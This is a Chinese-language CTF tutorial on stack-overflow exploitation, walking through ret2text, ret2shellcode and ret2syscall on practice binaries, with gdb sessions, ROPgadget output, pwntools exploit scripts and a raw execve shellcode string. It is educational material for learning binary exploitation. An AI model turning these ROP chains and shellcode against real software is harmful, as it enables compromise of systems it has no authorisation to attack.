PWN栈溢出基础——ROP1.0

PWN栈溢出基础——ROP1.0

这篇文章介绍ret2text,ret2shellcode,ret2syscall(基础篇)
在中间会尽量准确地阐述漏洞利用和exp的原理,并且尽量细致地将每一步操作写出来。
参考ctf-wiki以及其他资源,参考链接见最后,文中展示的题目下载链接见评论区

1.ret2text

ret2text即控制程序执行程序本身已有的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是gadgets),这就是我们所要说的ROP。
这时,需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
简单点说,ret2text的利用思路就是首先找到溢出函数,随后确定局部变量距离需要淹没的返回地址的偏移(通常情况下为ebp-addr(buf)+4/8),最后将返回地址修改为/bin/sh的地址即可。

1.1 ret2text

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启了NX保护,这个保护在windows下边为DEP,其将数据段和代码段分开了,因此不能将返回地址导向shellcode中。
IDA检查

image.png

主函数中第8行gets()存在缓冲区溢出,
变量s距离栈顶esp为0x1C,后续我们会调试查看该偏移地址。

在这里插入图片描述

参看字符串列表,可见有/bin/sh,有system函数,嘿嘿~
在这里插入图片描述

在secure()函数中有着调用/bin/sh,地址为0x0804863A,接下来我们要做的就是使程序流导向这里就Ok了。
gdb调试
在call gets() 的位置下断点

pwndbg> b *0x080486AE
pwndbg> r

在这里插入图片描述

esp指向的地址为0xffffcfd0,则s的位置为addr=0xffffcfd0+0x1C,ebp的地址为0xffffd058
相对ebp的偏移=d058-cfec=0x6c,还要淹没ebp,距离返回地址的偏移为0x6c+4
exp

##ret2text_exp.py
from pwn import *
p=process('./ret2text')
binsh=0x08048763
system=0x0804831A
target=0x804863a
payload='A'*0x6c + 'A'*4 + p32(target) 
#gdb.attach(p,'b 0x080486C4')
p.sendafter('anything?',payload)
p.interactive()

事后调试
在exp中去掉对于gdb.attach那一行的注释,你就能跟进去了,下断点的位置为leave指令处,即retn之前的一条指令。
(写给小白的:python exp.py,在弹出的gdb窗口输入c(让程序跑起来),回到之前的终端回车)
来到了断点处

在这里插入图片描述

可见,ret指令指向了0x804863a,去调用/bin/sh了。

1.2 level2

这道题目与上一道类似,checksec之后都是开启了NX保护,不同点在于溢出点确定起来更简单,而正确调用/bin/sh要稍微复杂一些哈。
IDA

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}

漏洞函数长这个样子,里边的read造成了一个缓冲区溢出,同时确定了buf距离ebp偏移为0x88
查看string,发现有/bin/sh,也有system函数

在这里插入图片描述

可以看到/bin/sh的地址为0x0804A024。
因为没有直接的调用/bin/sh,但是可以利用system函数,首先覆盖返回地址为system_plt,并根据32位的参数传递规则设置参数/bin/sh。
exp

##level2_exp.py
from pwn import *
file_path='./level2'
elf = ELF(file_path)
system_plt = elf.plt['system']
main_addr = 0x08048480 ##用不到
binsh = 0x0804A024
payload = 'a'*0x88+'b'*4+p32(system_plt)+'a'*4+p32(binsh)
p=process('./level2')
#gdb.attach(p,'b *0x0804847E')
p.sendafter('Input',payload)
p.interactive()

首先用0x88+4个字符到达返回地址,将此处的地址修改为system的地址,然后将binsh的地址作为参数传入。

2.ret2shellcode

原理
ret2shellcode,即控制程序执行shellcode代码。shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。一般来说,shellcode需要我们自己填充。这其实使另外一种经典的利用方法。(如果熟悉《0day》这本书的师傅们,对于这种利用方式应该比较熟悉吧)
应用环境要求不能有NX保护,但是可以在程序没有自带/bin/sh和system_plt的情况下完成利用。

2.1ret2shellcode

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

主函数中gets()存在缓冲区溢出,并且strncpy将s中的内容拷贝到了buf2中。buf2位于bss段。

.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o
.bss:0804A080 _bss            ends

可以通过gdb查看bss段是否可以执行。

b main
r
vmmap

在这里插入图片描述

可见 0x804a000,权限为rwxp,读、写、执行均可。
偏移地址的计算操作见1.1,s和esp的偏移为0x1c,计算得出s的addr,ebp-s_addr就是其相较于ebp的偏移地址。
另外需要将返回地址修改为buf的地址,即addr=0x0804A080
exp

from pwn import *
p=process('./ret2shellcode')
addr=0x0804A080
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(112,'A')+p32(addr)
p.sendline(payload)
p.interactive()

2.2 sniperoj-pwn100-shellcode-x86-64

checksec

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

是一个64位程序,并且开启了PIE(windows下为ASLR),地址随机化,通过该内存保护机制,使得程序每次装载进入内存之后的地址都不一样,使得我们无法使用固定地址来导向shellcode。(PS:有点难度了,但事情也变得更好玩了,>_<)
IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+0h] [rbp-10h]
  __int64 v5; // [rsp+8h] [rbp-8h]

  buf = 0LL;
  v5 = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL);
  puts("Now give me your answer : ");
  read(0, &buf, 0x40uLL);
  return 0;
}

read函数造成了一个缓冲区溢出。同时printf给出了buf的地址。稍微有点麻烦的是 read(0, &buf, 0x40uLL);有长度限制,导致我们需要使用一些短payload。
shellcode
推荐一个师傅整理的各种各样的shellcode
https://blog.csdn.net/A951860555/article/details/114106118
exp
这个题有几个技巧:1.怎么接受程序的输出。2.计算偏移地址。3.导向shellcode的时候如何精准定位到有用的位置 4.设置合理的shellcode大小

##shellcode_exp.py
##我先给出exp再具体说明思路
from pwn import *
p=process('./shellcode')
p.recvuntil('[')
addr=p.recvuntil(']',drop=True)
addr=int(addr,16)
addr=addr+0x10+8+8
#23bytes shellcode
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload='A'*0x10+'A'*8+p64(addr)+shellcode
print payload
p.sendline(payload)
p.interactive()

首先,使用recvuntil来读取指定字段。
然后,计算偏移。前边填充的需要0x10到达ebp,再来0x8个覆盖掉ebp(因为是64位程序)。
重点,addr的地址需要是buf的地址加上,0x10+0x8+0x8,因为需要让程序直接执行shellcode,不然执行前边的‘A’或者地址么?至此,便完成了精准导向。

3.ret2syscall

ret2syscall,即控制程序执行系统调用,获取shell。

3.1ret2syscall

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

仅开启了NX。
IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

gets()存在缓冲区溢出,但是无法使用上两节中的技巧,程序没有泄露变量地址,也没有system函数可以使用。
这就需要另一个思路,找跳板。
此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得shell,所以我们利用程序中的gadgets来获得shell,而对应的shell获取则是利用系统调用。
其中,该程序为32位,需要使得
(1)系统调用号,即 eax 应该为 0xb
(2)第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
(3)第二个参数,即 ecx 应该为 0
(4)第三个参数,即 edx 应该为 0

找gadgets
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。(这里看不懂没关系,后边我会用例子告诉你为什么pop + retn就可以控制程序流,并且进一步叙述原理)

1.先找控制eax的gadgets

$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

选择0x080bb196 : pop eax ; ret
2.找别的寄存器的

$ ROPgadget --binary ret2syscall  --only 'pop|ret' | grep 'ebx'

选择0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
3.找/bin/sh字符串对应的地址

$ ROPgadget --binary ret2syscall  --string '/bin/sh' 
Strings information
============================================================
0x080be408 : /bin/sh

4.int 0x80 的地址

$ ROPgadget --binary rop  --only 'int'                 
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc

Unique gadgets found: 4

exp

#!/usr/bin/env python
from pwn import *

sh = process('./ret2syscall')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
#sh.sendline(payload)
gdb.attach(sh,'b *0x08048EA0')
#gdb.attach(p)
#sh.sendafter('?',payload)
sh.sendline(payload)
sh.interactive()

偏移地址计算同上,payload构造部分的原理在下边我会试着解释一下

3.x 解惑

上边说到
payload=112个填充+pop_eax_ret+0xb+pop_edx_ecx_ebx_ret+0x0+0x0+addr_binsh+addr_int_0x80
首先,使用pop_eax_ret的地址覆盖返回地址容易理解,我们修改了程序控制流,并且此时栈中的第一个数据是0xb,pop eax之后,就将eax中的数据设置为0xb。
然后,执行ret指令。(我很费解,为什么retn指令可以让控制流导向下一个pop edx指令所在的位置?
原来,32位程序,CPU执行ret指令时,相当于执行IP=esp,esp=esp+4。
esp中的数据为pop edx的地址,那么ret之后,自然就将程序流引向那里了。
(我认为最难理解的就是这一个了,别的都没啥)
最后,将调用execve时的后两个参数赋值为0(pop给edx赋值为0,ecx为0);pop ebx, 即ebx ->addr_binsh,将第一个参数赋值为/bin/sh的地址;ret到系统函数 int 0x80

原理如上所述了,但是还需要调试着看一下,在劫持了返回地址之后程序的执行过程是怎么样的。
下断点的位置同样是leave指令处。


在这里插入图片描述

可以看到,payload已经填充进去了。
单步执行一下,s,跟到ret执行后


在这里插入图片描述

即将执行pop eax,此时栈顶元素为0xb
继续
在这里插入图片描述

即将ret,esp中指向pop edx指令所在处,继续


在这里插入图片描述

即将执行pop edx,并且栈顶数据为0x0,后续便会接着给ecx也pop为0x0,给ebx,pop为bin/sh的地址,继续
在这里插入图片描述

即将ret到libc的函数 int 0x80那里去,并且参数为(''bin/sh'',NULL.NULL),继续
在这里插入图片描述

至此,分析结束。
在这里插入图片描述

完成攻击。

总结

本文主要参看ctf-wiki中的ROP-basic部分,感谢维持这个项目的大佬们,敬佩大佬们的开源精神,respect
链接:https://wiki.x10sec.org/pwn/linux/stackoverflow/basic-rop-zh/
另外,还参考了星盟安全公开课中的内容。
链接:https://www.bilibili.com/video/BV1VA411K7CH
写这篇文章的初衷是将入门题目的每一步原理和操作都讲明白,毕竟自己刚开始不会用pwndbg的时候非常痛苦,看得懂exp,却无法真正观察内存的变化。
谢谢你能看到这里,后续我希望能更新一些更高难度的题目writeup、CVE漏洞的复现以及有关模糊测试的内容。

你可能感兴趣的:(PWN栈溢出基础——ROP1.0)